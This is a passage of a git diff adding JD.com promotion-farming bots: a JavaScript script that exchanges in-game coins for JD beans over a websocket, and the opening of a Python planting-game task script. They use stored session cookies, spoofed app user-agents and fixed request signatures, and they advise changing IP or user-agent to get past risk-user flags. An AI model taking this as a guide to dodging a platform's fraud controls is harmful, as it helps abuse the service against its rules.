t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_beauty_ex.js b/jd_beauty_ex.js new file mode 100644 index 0000000..9d41c83 --- /dev/null +++ b/jd_beauty_ex.js @@ -0,0 +1,328 @@ +/* +美丽研究院--兑换 +活动入口:京东app首页-美妆馆-底部中间按钮 +cron 20 12 * * * jd_beauty_ex.js + */ +const $ = new Env('美丽研究院--兑换'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const WebSocket = require('ws'); +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.accountCheck = true; +$.init = false; +$.bean = '1'; //兑换多少豆,默认是500 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxx-xxxxxxxxxxxxxxxx'); + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await accountCheck(); + while (!$.hasDone) { + await $.wait(2000) + } + if ($.accountCheck) { + await jdBeauty(); + await $.wait(5000) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken2() + await getToken() + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + process.exit(0); + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + console.log('关闭测试连接'); + }; + await $.wait(2000); + } +} + +async function jdBeauty() { + $.hasDone = false + await mr() + while (!$.hasDone) { + await $.wait(2000) + } +} + +async function mr() { + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功,开始兑换拉`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + }; + client.onclose = (e) => { + $.hasDone = true; + console.log('关闭美容研究院服务器连接'); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + switch (vo.action) { + case "get_user": + $.total = vo.data.coins + break; + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + for (let i = benefit.day_exchange_count; i < benefit.day_limit; i++) { + if (parseInt(benefit.setting.beans_count) == $.bean && $.total >= benefit.coins && parseInt(benefit.day_exchange_count) < benefit.day_limit) { + console.log(`满足条件,去兑换`) + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + await $.wait(4000) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + } + + } + } + } + break; + case "to_exchange": + if (vo.data) { + console.log(`兑换${vo.data.coins / -1000}京豆成功;${JSON.stringify(vo)}`) + } else { + console.log(`兑换京豆失败:${JSON.stringify(vo)}`) + } + break; + } + } + }; +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=6eb3237cff376c07a11c1e185761d073&st=1610161927336&sv=102&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({ "token": $.token2, "source": "01" }), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.token2};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`【$.token】 ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/GetJDUserBaseInfo?_=${Date.now()}&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "m.jingxi.com", + "Cookie": cookie, + "Referer": "https://st.jingxi.com/my/userinfo.html?sceneval=2&ptag=7205.12.4", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "deviceOS": "android", + "deviceOSVersion": 10, + "deviceName": "WeiXin" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + console.log("1"); + return; + } + if (data["retcode"] === 0) { + $.nickName = (data.nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_beauty_plant.py b/jd_beauty_plant.py new file mode 100644 index 0000000..f70163d --- /dev/null +++ b/jd_beauty_plant.py @@ -0,0 +1,1000 @@ +#!/bin/env python3 +# -*- coding: utf-8 -* +''' +感谢Curtin提供的其他脚本供我参考 +感谢aburd ch大佬的指导 +项目名称:xF_jd_beauty_plant.py +Author: 一风一扬 +功能:健康社区-种植园自动任务 +Date: 2022-1-4 +cron: 10 9,11,15,21 * * * jd_beauty_plant.py +new Env('化妆馆-种植园自动任务'); + + +活动入口:25:/¥2EaeU74Gz07gJ% + +教程:该活动与京东的ck通用,所以只需要填写第几个号运行改脚本就行了。 + +青龙变量填写export plant_cookie="1",代表京东CK的第一个号执行该脚本 + +多账号用&隔开,例如export plant_cookie="1&2",代表京东CK的第一、二个号执行该脚本。这样做,JD的ck过期就不用维护两次了,所以做出了更新。 + +青龙变量export choose_plant_id="true",表示自己选用浇水的ID,适用于种植了多个产品的人,默认为false,如果是false仅适用于种植了一个产品的人。 +对于多账号的,只要有一个账号种植多个产品,都必须为true才能浇水。如果choose_plant_id="false",planted_id可以不填写变量值。 +青龙变量export planted_id = 'xxxx',表示需要浇水的id,单账号可以先填写export planted_id = '111111',export choose_plant_id="true",运行一次脚本 +日志输出会有planted_id,然后再重新修改export planted_id = 'xxxxxx'。多个账号也一样,如果2个账号export planted_id = '111111&111111' +3个账号export planted_id = '111111&111111&111111',以此类推。 +注意:planted_id和ck位置要对应。而且你有多少个账号,就得填多少个planted_id,首次111111填写时,为6位数。 +例如export plant_cookie="xxxx&xxxx&xxx",那export planted_id = "111111&111111&111111",也要写满3个id,这样才能保证所有账号都能跑 + +https://github.com/jsNO1/e +''' + +######################################################以下代码请不要乱改###################################### + +UserAgent = '' +account = '' +cookie = '' +cookies = [] +choose_plant_id = 'false' +planted_id = '' +shop_id = '' +beauty_plant_exchange = 'false' +planted_ids = [] + +import requests +import time, datetime +import requests, re, os, sys, random, json +from urllib.parse import quote, unquote +import threading +import urllib3 + +# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +requests.packages.urllib3.disable_warnings () + +today = datetime.datetime.now ().strftime ('%Y-%m-%d') +tomorrow = (datetime.datetime.now () + datetime.timedelta (days=1)).strftime ('%Y-%m-%d') + +nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + +time1 = '21:00:00.00000000' +time2 = '23:00:00.00000000' + +flag_time1 = '{} {}'.format (today, time1) +flag_time2 = '{} {}'.format (today, time2) + +pwd = os.path.dirname (os.path.abspath (__file__)) + os.sep +path = pwd + "env.sh" + +sid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 32)) + +sid_ck = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ', 43)) + + +def printT(s): + print ("[{0}]: {1}".format (datetime.datetime.now ().strftime ("%Y-%m-%d %H:%M:%S"), s)) + sys.stdout.flush () + + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except: + pass + try: + if '.' in label: + return float (label) + elif '&' in label: + return label.split ('&') + elif '@' in label: + return label.split ('@') + else: + return int (label) + except: + return label + + +# 获取v4环境 特殊处理 +try: + with open (v4f, 'r', encoding='utf-8') as v4f: + v4Env = v4f.read () + r = re.compile (r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', + re.M | re.S | re.I) + r = r.findall (v4Env) + curenv = locals () + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs (i[1]) +except: + pass + +############# 在pycharm测试ql环境用,实际用下面的代码运行 ######### +# with open(path, "r+", encoding="utf-8") as f: +# ck = f.read() +# if "JD_COOKIE" in ck: +# r = re.compile (r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) +# cookies = r.findall (ck) +# # print(cookies) +# # cookies = cookies[0] +# # print(cookies) +# # cookies = cookies.split ('&') +# printT ("已获取并使用ck环境 Cookie") +####################################################################### + + +if "plant_cookie" in os.environ: + if len (os.environ["plant_cookie"]) == 1: + is_ck = int(os.environ["plant_cookie"]) + cookie1 = os.environ["JD_COOKIE"].split('&') + cookie = cookie1[is_ck-1] + printT ("已获取并使用Env环境cookie") + elif len 